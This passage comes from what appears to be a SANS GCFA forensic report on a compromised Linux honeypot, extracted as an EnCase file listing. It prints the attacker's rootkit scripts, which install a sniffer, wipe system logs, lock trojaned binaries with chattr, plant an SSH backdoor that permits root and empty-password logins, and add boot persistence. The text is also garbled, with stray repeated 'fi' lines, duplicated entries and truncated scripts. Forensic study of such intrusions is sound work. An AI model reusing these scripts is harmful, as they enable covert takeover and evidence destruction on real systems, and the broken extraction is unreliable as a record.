  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

```bash
else
    echo "$ preparation
" echo $ preparation
  echo $ preparation
  echo $ preparation
  fi

fi echo
fi
fi echo
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
fi
```

© SANS Institute 2004, Author retains full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report
Sans GCFA Cert Assignment

```bash
echo "${cl}${hred}Snifferz${cl}${wht}"
echo
---------------------------------------------
locate tcp.log 2>/dev/null
/usr/sbin/lsof|grep tcp.log
locate sniffer 2>/dev/null
echo
---------------------------------------------
fi
if [ "locate .1proc 2>/dev/null" ] || [ -d /usr/src/.puta ] || [ -f /etc/ttyhash ]; then
echo "${cl}${hred}Possible TK${cl}${wht}"
locate .1proc 2>/dev/null
echo
---------------------------------------------
fi
if [ "locate adore 2>/dev/null" ]; then
echo "${cl}${hred}Possible adore lkm${cl}${wht}"
locate adore 2>/dev/null
echo
---------------------------------------------
fi
if [ "locate psybnc 2>/dev/null" ]; then
echo "grr.. a FucKing PsyBNC still around${cl}${wht}"
locate psybnc 2>/dev/null|head -n 20
echo
---------------------------------------------
fi
if [ "locate mech 2>/dev/null|grep -v 'listmech'" ]; then
echo "grr.. a fucking mech still around${cl}${wht}"
locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
echo
---------------------------------------------
fi
if [ "locate eggdrop 2>/dev/null" ]; then
echo "grr.. a fucking egg still around${cl}${wht}"
locate eggdrop 2>/dev/null|head -n 40
echo
---------------------------------------------
fi
if [ "ps -ax|grep "^/"|grep -v grep|grep -v install" ]; then
echo "${cl}${hred}Suspect Processes:${cl}${wht}"
ps -ax|grep "^/"|grep -v grep|grep -v install
---------------------------------------------
fi

```

```
echo
-----------------------------------------
find /dev -type f|grep -v Makedev|grep -v ttyo|grep -v hds|grep -v killer|grep -v logs
-----------------------------------------
/etc/rc.d/init.d/syslog start >>install.log 2>&1
echo >/var/log/messages
echo >/var/log/boots.log
echo >/var/log/cron
echo >/var/log/secure
echo >/var/log/maillog
chattr +iau /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr +iau /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/sendmail >>install.log 2>&1
chattr +iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir /usr/bin/vdir >>install.log 2>&1
chattr +iau /usr/local/sbin/sshd /usr/sbin/sshd /dev/killer >>install.log 2>&1

```

```
echo " Na hai sa ne pisam pe iei-;)"
unset cl
cyn wht hblk hgrn hcyn hwht hred
exit 0
```

```
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>install.log</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\install.log</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>65025494af2c14aeb979024429159fb8</td>
<td>1,024</td>
<td>510</td>
</tr>
<tr>
<td>.1addr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s.1addr</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>11/26/02 09:50:52PM</td>
<td>ad46a56a4269f47eb407ac56d18cd955</td>
<td>1,024</td>
<td>32</td>
</tr>
<tr>
<td>.1logz</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s.1logz</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>12/29/02 04:32:10PM</td>
<td>cf49f02b0fd5ef45625baa0e3125c878</td>
<td>1,024</td>
<td>68</td>
</tr>
<tr>
<td>clean</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\clean</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report
Sans GCFA Cert Assignment/EnCase Computer Analysis Report

Entry Modified 06/29/03 03:22:08PM
Last Accessed 06/29/03 03:25:20PM
Last Written 02/06/02 04:26:29AM
Hash Value 9e2970e3a7682440316b6e1a2687cbe
Physical Size 2,048
Logical Size 1,250

93) Name du
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.s/du
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 6e60f5c0f79a3526005c11821788f73f
Physical Size 32,768
Logical Size 32,539

94) Name du
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.s/du
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 6e60f5c0f79a3526005c11821788f73f
Physical Size 32,768
Logical Size 32,539

95) Name init.sshd
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.s/sshd/init.sshd
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:11:58PM
Last Written 02/06/02 04:31:03AM
Hash Value b33deb29db1aedd81866e048416b0bd68
Physical Size 1,024
Logical Size 969

96) Name killall
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.s/killall
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value db9c510fadc6c3c398fd1b0850d0c0b8
Physical Size 19,456
Logical Size 19,291

97) Name killall
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.s/killall
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value db9c510fadc6c3c398fd1b0850d0c0b8

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Physical Size 19,456
Logical Size 19,291

Comment: sniffer program

98) Name mpstree
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s'\mpstree
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:20PM
Last Written 03/24/03 09:36:32PM
Hash Value f592011bbbf8f683f0b24f1eda20bff
Physical Size 1,024
Logical Size 443

Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.

#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
chattr -Aacdissu /etc/rc.d/rc.sysinit
echo >>/etc/rc.d/rc.sysinit weit
cat /etc/rc.d/rc.sysinit | grep -v 'wait' > /etc/rc.d/rc.sysinit.old
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
chattr -Aacdissu /usr/bin/* >/dev/null 2>&1
mv weit /usr/bin/weit
touch -acmr /bin/df /usr/bin/weit
chmod +x /usr/bin/weit
/usr/bin/weit

99) Name netstat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s'\netstat
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 8a6c03c19c493dfca31bceee94ce45da
Physical Size 39,936
Logical Size 39,399

Comment:

100) Name nfsdi
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s'\nfsdi
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:21PM
Last Written 12/29/02 04:24:52PM
Hash Value 2aa3b69eab68eb3c3be8f66df8ca03
Physical Size 1,024
Logical Size 884
Comment: Here is the nfsd1 script that is called from the install script to install the ssh backdoor.

```bash
#!/bin/sh
if [-x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [-f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi
chattr +iau /sbin/sshd_config
chattr +iau /etc/rc.d/init.d/functions
chattr +iau /etc/rc.d/init.d/syslog
chattr +iau /etc/rc.d/init.d/functions
chattr +iau /etc/rc.d/init.d/functions
chattr +iau /etc/rc.d/init.d/functions
chattr +iau /etc/rc.d/init.d/functions
```

Comment: This script is called by the install script right after the killall trojan is installed. The line that calls it is "sh p.ssh".

```bash
#!/bin/bash
D="/x"
H=".x"
mkdir -p 5D; cd 5D
ln -s /libgc.so.5 /libgc.so.5
ln -s /libgc.so.5 /libgc.so.5
ln -s /libgc.so.5 /libgc.so.5
ln -s /libgc.so.5 /libgc.so.5
```

Comment: This script is called by the install script right after the killall trojan is installed. The line that calls it is "sh p.ssh".
EnCase Computer Analysis Report

Page 257

```
\section{EnCase Computer Analysis Report}

SANS GCFA Cert Assignment/EnCase Computer Analysis Report

Page 257

\section{EnCase Computer Analysis Report}

SANS Institute 2004, Author retains full rights.
```

© SANS Institute 2004, Author retains full rights.

As part of GIAC practical repository.  
Authors retain full rights.

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Page 263

© SANS Institute 2004, as part of GIAC practical repository. Author retains full rights.

© SANS Institute 2004, Author retains full rights.


EnCase Computer Analysis Report
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s'popauth</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>9580542311468b426d76ada43f609be9</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pstree</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s'pstree</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>a2683199c868fcaffc527f95d0ec879</td>
<td>22,528</td>
<td>21,943</td>
</tr>
<tr>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s'sense</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
<td>464dc23cac477c43418eb8d3ef087065</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td>ssh_host_key</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s'sshd\ssh_host_key</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>ec411d19f0b0cd1c45e2e63f9a978315d</td>
<td>1,024</td>
<td>541</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s'sshd\sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>44fd911b3e39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>498</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s'sshd\sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>44fd911b3e39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>498</td>
</tr>
</tbody>
</table>
### Description File

**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\sshd_config

**Entry Modified**: 06/29/03 03:11:59PM

**Last Accessed**: 06/29/03 03:25:21PM

**Last Written**: 11/26/02 09:35:22PM

**Hash Value**: ce630951c72096d9ef1d3b12f309b281

**Physical Size**: 1,024

**Logical Size**: 707

**Comment**: Here is the ssh configuration file used by the ssh backdoor program nsfd.

```plaintext
# This is ssh server systemwide configuration file. 
# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.sshd/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes
```

109) Name: sshd-install

**Description File**

**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sshd\sshd-install

**Entry Modified**: 06/29/03 03:11:59PM

**Last Accessed**: 06/29/03 03:11:58PM

**LastWritten**: 11/26/02 09:40:32PM

**Hash Value**: 2eebbaf9afee6267d55470c72f33a700

**Physical Size**: 2,048

**Logical Size**: 1,053

**Comment**: sshd-install script

```plaintext
#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd
```
if [-x /sbin/chkconfig ]; then
  /sbin/chkconfig --add sshd >>../install.log 2>&1
else
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc1.d/K25sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

if [ ! -f /etc/ssh/ssh_host_key ]; then
  cp -f ssh_host_key /etc/ssh >>../install.log 2>&1
fi

if [ ! -f /etc/ssh/ssh_host_key ]; then
  cp -f ssh_host_key /etc >>../install.log 2>&1
fi

if [ ! -x /usr/sbin/sshd ]; then
  cp -f sshd /usr/sbin >>../install.log 2>&1
fi

chattr +iau /etc/rc.d/init.d/sshd /usr/sbin/sshd >../install.log 2>&1
/etc/rc.d/init.d/sshd restart >>../install.log 2>&1

110) Name
top
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.s\top
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 0598ec68648c9e9e17b0d50a3da771a6
Physical Size 58,368
Logical Size 57,615

111) Name
vdir
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.s\vdir
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 8a5f3b28648c9e9e17b0d50a3da771a6
Physical Size 48,128
Logical Size 47,295

112) Name
xxh_h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.s\nfsd\xxh_h
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:21PM
Last Written 02/06/02 08:09:53AM
Hash Value ddfe24731d459493356d479c2dbe48ad
Physical Size 1,024
Logical Size 534

113) Name
xxh_h
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.s\nfsd\xxh_h
114) Name ttyoa
Description File
Full Path /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/dev/ttyoa
Entry Modified 06/29/03 03:22:07PM
Last Accessed 06/29/03 03:35:56PM
Last Written 02/06/02 08:09:53AM
Hash Value ddfe24731d459493356d479c2dbe48ad
Physical Size 1,024
Logical Size 534

115) Name ttyoa
Description File
Full Path /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/dev/ttyoa
Entry Modified 06/29/03 03:22:07PM
Last Accessed 06/29/03 03:35:56PM
Last Written 02/06/02 08:09:53AM
Hash Value ad46a56a4269f47eb407ac56d18cd955
Physical Size 1,024
Logical Size 32

116) Name ttyop
Description File
Full Path /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/dev/ttyop
Entry Modified 06/29/03 03:22:07PM
Last Accessed 06/29/03 03:39:21PM
Last Written 02/06/02 12:39:26AM
Hash Value d0ecd50dfb28e59788e6775affe73578
Physical Size 1,024
Logical Size 162

117) Name ttyos
Description File
Full Path /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/dev/ttyos
Entry Modified 06/29/03 03:22:07PM
Last Accessed 06/29/03 03:22:07PM
Last Written 06/29/03 03:22:07PM
Hash Value cf49f02b0d5ef45625baa0e3125c878
Physical Size 1,024
Logical Size 68

the functions library is called by the networks script here.

. /etc/init.d/functions

Volume /var
EnCase Computer Analysis Report

Volume
File System: EXT3
Drive Type: Fixed
Sectors per cluster: 2
Bytes per sector: 512
Total Sectors: 529,137
Total Capacity: 270,917,632 bytes (258.4MB)

Total Clusters: 264,568
Unallocated: 219,693,056 bytes (209.5MB)

Free Clusters: 214,544
Allocated: 51,224,576 bytes (48.9MB)
Volume Name: Volume Offset:

11,551,743

The following are bookmarks from Volume /var
httpd access log for June 27, 2003

192.168.2.15 -- [27/Jun/2003:14:10:34 -0600] "GET /poweredby.png HTTP/1.1" 200 2362
XXX.XXX.XXX.ca -- [27/Jun/2003:17:35:44 -0600] "GET / HTTP/1.1" 200 2890
XXX.XXX.XXX.ca -- [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 2362

httpd access log for June 29, 2003

XXX.XXX.XXX.com -- [28/Jun/2003:08:46:23 -0600] "HEAD / HTTP/1.0" 200 0
XXX.XXX.XXX.202. -- [29/Jun/2003:02:36:53 -0600] "HEAD / HTTP/1.0" 200 0

httpd error log for June 29, 2003

[Sun Jun 29 04:02:28 2003] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
[Sun Jun 29 04:02:28 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Jun 29 04:02:28 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Jun 29 15:06:18 2003] [error] [client XXX.XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without h
ostname (see RFC2616 section 14.23): / HTTP/1.1 200 0
[Sun Jun 29 15:06:42 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:07:50 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:20:54 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:25:14 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:36:49 2003] [error] [client 193.109.122.5] request failed: error reading the head ers

Mail file for root. Showes Sementation faults and cron job problems.

From root Fri Jun 27 04:02:02 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id h5RA22S06825 for root; Fri, 27 Jun 2003 04:02:02 -0600
Date: Fri, 27 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306271002.h5RA22S06825@localhost.localdomain>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
To: root@localhost.localdomain
Subject: LogWatch for rh1

############################ LogWatch 2.6 Begin ############################

---------------------
| sendmail Begin |
---------------------

334 bytes transferred
1 messages sent

---------------------
| sendmail End |
---------------------

############################ LogWatch End ############################

From root Sat Jun 28 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA22A09057 for root; Sat, 28 Jun 2003 04:02:02 -0600
Date: Sat, 28 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-id: <200306281002.h5SA22A09057@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

############################ LogWatch 2.6 Begin ############################

---------------------
| ModProbe Begin |
---------------------

Can't locate these modules:
 0a: 1 Time(s)

---------------------
| ModProbe End |
---------------------

---------------------
| sendmail Begin |
---------------------

334 bytes transferred
1 messages sent

---------------------
| sendmail End |
---------------------

---------------------
| SSHD Begin |
---------------------

Failed logins from these:
userid1/password from 192.168.2.1: 1 time(s)
userid1/password from 192.168.2.13: 1 time(s)

Users logging in through sshd:
userid1 logged in from 192.168.2.1 using password: 1 Times(s)
root logged in from 192.168.2.121 using password: 2 Times(s)

---------------------
| SSHD End |
---------------------

############################ LogWatch End ############################

From root Sat Jun 28 04:04:12 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report

by localhost.localdomain (8.11.6/8.11.6) id h5SA24a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: <200306281002.558A24a09068@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
From: root@localhost.localdomain
Message-Id: <200306291002.h5TA22E10471@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

################################################################ LogWatch 2.6 Begin ################################################################

---------------------
sendmail Begin
------------------------
1336 bytes transferred
2 messages sent

----------------------
sendmail End
-------------------------

################################################################ LogWatch End ################################################################

From root Sun Jun 29 04:04:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
From: root@localhost.localdomain
Message-Id: <200306291002.h5TA22E10471@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:53:02 -0600
Date: Sun, 29 Jun 2003 23:53:02 -0600
From: root@localhost.localdomain
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db
To: root@localhost.localdomain
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>

/usr/lib/sa/sa2: line 14: 27610 Segmentation fault
find /var/log/sa ( -name 'sar??' -o -name 'sa??' ) -mtime +7 -exec rm -f {}

From root Mon Jun 30 04:05:09 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5UA24x28029
for root; Mon, 30 Jun 2003 04:02:04 -0600
Date: Mon, 30 Jun 2003 04:02:04 -0600
Message-Id: <200306301002.h5UA24x28029@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db
/etc/cron.daily/makewhatis.cron:

/etc/sbin/makewhatis: line 360: 28130 Segmentation fault
rm $TMPFILE

/etc/sbin/makewhatis: line 360: 28191 Segmentation fault
rm $TMPFILE

/etc/sbin/makewhatis: line 360: 28222 Segmentation fault
rm $TMPFILE

/etc/sbin/makewhatis: line 360: 28239 Segmentation fault
rm $TMPFILE

/etc/sbin/makewhatis: line 360: 28248 Segmentation fault
rm $TMPFILE

/etc/sbin/makewhatis: line 360: 28261 Segmentation fault
rm $TMPFILE

/etc/sbin/makewhatis: line 363: 28264 Segmentation fault
rm -rf $TMPFILEDIR

/etc/sbin/makewhatis: line 1: 28266 Segmentation fault
rm $TMPFILEDIR

/etc/cron.daily/makewhatis.cron: line 1: 28268 Segmentation fault
rm -f /var/lock/makewhatis.lock

Volume swap1

The following are bookmarks from Volume swap1
clusters of interest from swap

root: XXX.XXX.XXX.ca· · · · · · · · · · · · MrIdiot

```
i686 -bash TERM=xterm DISPLAY=:0.0 HOME=/root SHELL=/bin/bash USER=root LOGNAME=root PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/bin/X11 XAUTHORITY=/root/.xauthjNkUo
```

PROMPT_COMMAND
tcpdump

```
/tcpdump
```

/root/.bashrc

```
readline stdin
```

more syslog.conf

```
ls -l
```

cd /var/log

tail messages

```
ls -l
```

cd /etc/syslog.conf

cd /var/log

tail boot.log

ifconfig -a

cd /usr/

more cron

cd asm

```
"\033]0;${USER}@${HOSTNAME%%.*}:${PWD/$HOME/~}\033\"'
```

dir XXX.XXX.49.137

dir samba -d 0 -S 192.168.2.*
cp /etc/syslog.conf kld.conf
chown root:root kld.conf
dir samba -d 0 -S XXX.XXX.5.*
```

Files infected with Jac.8759 virus

Files infected by the Linux.Jac.8759 virus
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>148</td>
<td>rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5deff0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>149</td>
<td>ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcfe97f44f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>150</td>
<td>loadkeys</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\loadkeys</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
